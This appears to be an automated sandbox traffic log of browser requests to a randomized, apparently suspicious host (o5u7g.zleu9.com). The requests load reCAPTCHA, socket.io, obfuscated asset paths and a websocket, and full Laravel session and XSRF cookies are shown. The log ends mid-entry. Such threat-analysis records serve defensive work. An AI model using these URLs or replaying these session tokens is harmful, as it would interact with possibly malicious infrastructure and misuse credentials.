laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /recaptcha/api.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://o5u7g.zleu9.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4.6.0/socket.io.min.js HTTP/1.1Host: cdn.socket.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://o5u7g.zleu9.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /89LXXpzqvplZJ9q6Lp9Y3E12hdCCmeJeN5Dyz80 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://o5u7g.zleu9.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdymTrOVgnRdYFmBC56gQ4sIcGIV3nkl100 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://o5u7g.zleu9.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: o5u7g.zleu9.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://o5u7g.zleu9.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3DSec-WebSocket-Key: v0+usPYGILYtIcUhDOOORw==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /56uBqa9ykEk4SXxAWkluwOlrHDLqhWH89110 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klq2ifsW0HfcmafJUxQT7Luk567iXAtDW7TwsAOhvh4nOXLFVLSfDuv211 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klyBe9NSOrY8ZijzQ3s7K3pEH9RWbxIXvopZVhYNMAY8ePNOIX2EwQcv1AjXiyHXEA9yz228 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klyBe9NSOrY8ZijzQ3s7K3pEH9RWbxIXvopZVhYNMAY8ePNOIX2EwQcv1AjXiyHXEA9yz228 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klq2ifsW0HfcmafJUxQT7Luk567iXAtDW7TwsAOhvh4nOXLFVLSfDuv211 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uheZ2JNUtohhkJJk2aSnqjTR382vFe5akZBa78xe HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxWSoCFL9zms6gSg3cOqXHoUWbqrInujjGZw2Rn6TuCvw2G12124 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opRczFJO6qO9TynYukVt7refB4XpmCzoG38NQ45140 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /eftMAJHTBnysRGQKrxyJ63mOX7yU8KOklytyEGBc4earPa90145 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijU31uim6UJs1J5Xbuowxt0mAFgOT9UCKlsOPRjhr78169 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: 